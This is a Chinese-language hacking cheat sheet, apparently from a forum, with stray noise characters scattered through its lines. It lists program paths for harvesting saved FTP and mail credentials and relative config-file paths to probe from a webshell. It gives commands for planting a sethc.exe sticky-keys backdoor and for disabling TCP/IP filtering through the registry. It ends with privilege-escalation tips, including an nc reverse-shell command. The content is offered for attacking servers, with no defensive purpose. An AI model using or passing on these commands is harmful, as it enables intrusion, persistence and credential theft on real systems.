! _; ^$ p- F4 }. m" WC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

. u$ ^* z& y" d1 O3.网站相对路径:
5 a7 b4 k5 O" F+ G9 U1 y; |
0 n3 d& l: @3 `5 i7 l/config.php
../../config.php
; X9 Y$ T: z8 E../config.php
: w7 {( o# v' j9 W0 q5 E; v../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
' K9 y" Y; O) C% o! ?3 v! ]. B../config.inc.php
6 v1 T7 m  p: t, ^../../../config.inc.php
/conn.php
./conn.php
7 y9 H( m+ X& \& h- Y6 }../../conn.php
../conn.php
1 w7 X8 H& O& E/ V& o../../../conn.php
/conn.asp
( x$ @: @$ s/ V2 T$ T; S9 O( w./conn.asp
1 U  M% t8 Z- Z' F& m2 {../../conn.asp
0 M6 F# I2 P* D" `4 j3 `* n../conn.asp
" m) G& s* j! g. R../../../conn.asp
- [" a' C  C8 O" |2 C( D/config.inc.php
./config.inc.php
../../config.inc.php
  j" B  L- t5 v$ g% g. v../config.inc.php
# x% h9 L6 A/ @6 ~# Z9 A, M; l../../../config.inc.php
& A# z; p$ P: ?  D$ }/config/config.php
../../config/config.php
- E; D5 y1 L+ _7 w1 [9 |, U$ F../config/config.php
! O8 Q+ Q* J- u) M6 T2 {& h../../../config/config.php
9 c: Z( D4 I  X+ m/config/config.inc.php
5 y$ o! T5 g3 p$ @8 c" J./config/config.inc.php
4 \" k! K  y. n: d../../config/config.inc.php
4 p- r4 X4 A. `1 C$ L../config/config.inc.php
7 J! y4 n: \) ~8 O- z+ R5 @../../../config/config.inc.php
; p; h; D# z  i, J# o& l0 n/config/conn.php
./config/conn.php
. R& D  l, z: d+ X$ I" Q9 w../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
2 G1 K; A6 R* a" ~! r! f6 J./config/conn.asp
../../config/conn.asp
6 c3 T$ G5 R( ?7 v% {) M../config/conn.asp
- L; J# ?0 r# ?1 K../../../config/conn.asp
' j$ r& g7 p% u0 n$ _0 T/config/config.inc.php
./config/config.inc.php
/ f/ ]6 |; v. m../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
6 B' |* o5 \: C4 R$ p/data/config.php
/ V( r! o% ^' E5 y  Y/ x- v" c../../data/config.php
; c- x. F3 w  E: w../data/config.php
../../../data/config.php
7 E& W& x. Z1 C$ o" u# ^/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
1 h+ i( B& w& A8 m/ T0 p../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
: x" K, C' ~2 t3 c6 o% ~./data/conn.php
../../data/conn.php
../data/conn.php
* }5 i2 ]" d( A3 J9 C../../../data/conn.php
2 C; G6 B4 t8 @9 o+ S2 f/data/conn.asp
6 L- k. X& g  j8 U# a( V. k" ~# s5 ^./data/conn.asp
../../data/conn.asp
" @  F. w+ J) Z) ^4 H1 M../data/conn.asp
' L5 l7 ~6 `2 @$ E, d../../../data/conn.asp
* l( e* v, p3 v4 q/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
/ C) ^4 A0 k. E/ }2 e../data/config.inc.php
../../../data/config.inc.php
/include/config.php
../../include/config.php
6 w& w$ k) W- v. K) j' u& U& p: o% n../include/config.php
8 s3 _% ~. d/ e$ a../../../include/config.php
/include/config.inc.php
% K/ Q, ], L% s" j% r% u$ x" r./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
4 G& l# g" z$ u5 m6 D../../../include/config.inc.php
. A7 n4 Y3 h- e; M) ~. \/include/conn.php
./include/conn.php
/ M, E! w) ], R* `- J2 l../../include/conn.php
/ e; \" j1 o+ P$ x3 ?1 w../include/conn.php
../../../include/conn.php
! n! N7 e) |1 B7 F/include/conn.asp
./include/conn.asp
9 e& r, I/ H6 ~# H+ S4 G8 l../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
2 x" M" ~+ T: u2 ^% X/include/config.inc.php
./include/config.inc.php
, r9 x2 A* ^, O+ M9 M$ {0 Z9 c8 k0 n../../include/config.inc.php
4 T; F3 H9 [' y../include/config.inc.php
+ Y/ I. z5 O& K' D+ s6 ]  z../../../include/config.inc.php
- c6 \5 p( s; l, B' J  E( z7 t; N1 I/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
3 d2 u$ m5 I2 g/ I( X: ^; v/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
+ S% `/ {. }, m2 `0 O3 a: N9 q./inc/conn.php
../../inc/conn.php
2 |/ o3 G8 v+ z1 l5 D$ w( x7 x../inc/conn.php
/ F, n$ F: i% E../../../inc/conn.php
/inc/conn.asp
' K) n, D9 k+ Z5 x2 g./inc/conn.asp
../../inc/conn.asp
) b" @: B4 _! ~) `4 J+ j../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
: I4 k2 h1 i; C  P0 a3 E../../inc/config.inc.php
! U8 d! v' m# u& ~0 D4 t/ |1 K../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
1 s5 W) a/ E# C3 P../index.asp
../../../index.asp
) V; S& J4 B; g8 F4 L5 ?替换SHIFT后门
% t2 m; E7 c0 @3 d2 Y3 t1 `　attrib c:\windows\system32\sethc.exe -h -r -s
  g1 s4 K; X* q7 N
# E0 H! Q) C3 W$ E% Q　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
1 z$ X+ {8 A) o  ?& B
　　del c:\windows\system32\sethc.exe
( U7 _# R6 o. R* k* z9 U
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
. G; e3 Q+ b' Y  F
　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
5 {5 p3 }& v) A去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
+ [4 H/ D7 k# R2 s% {3 x" l& j% DHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

5 v( a/ t' {7 L0 S0 O( Z- U9 u分别用
4 ]  h& w: u) b  Uregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
- G. \* x  L( [- L5 C% f+ W! Kregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
: g. K* W: N. M1 D0 v: a" h命令来导出注册表项
. s! N$ F$ L8 ~: E& ~( |
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
6 b; b- ~" s0 d5 t
再将以上三个文件分别用
) ^, K5 F' F, M/ cregedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
9 H* Z3 f5 _' }' z+ l2 {
webshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
  r; G# j+ e5 l7 b) N/ `nc也在同目录下
5 S$ \7 x! c7 F5 _  T$ y8 J例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
& }2 e( R& e) r% I  N7 v; v通常都不会成功。
5 k  j% D$ I( v2 L
  s& M. Q( y1 B# C& T' R  S而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
& _8 R5 \+ r, p/ e+ g, \- ]这个不是重点
* j; v, M* O) e( d. g4 ?我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功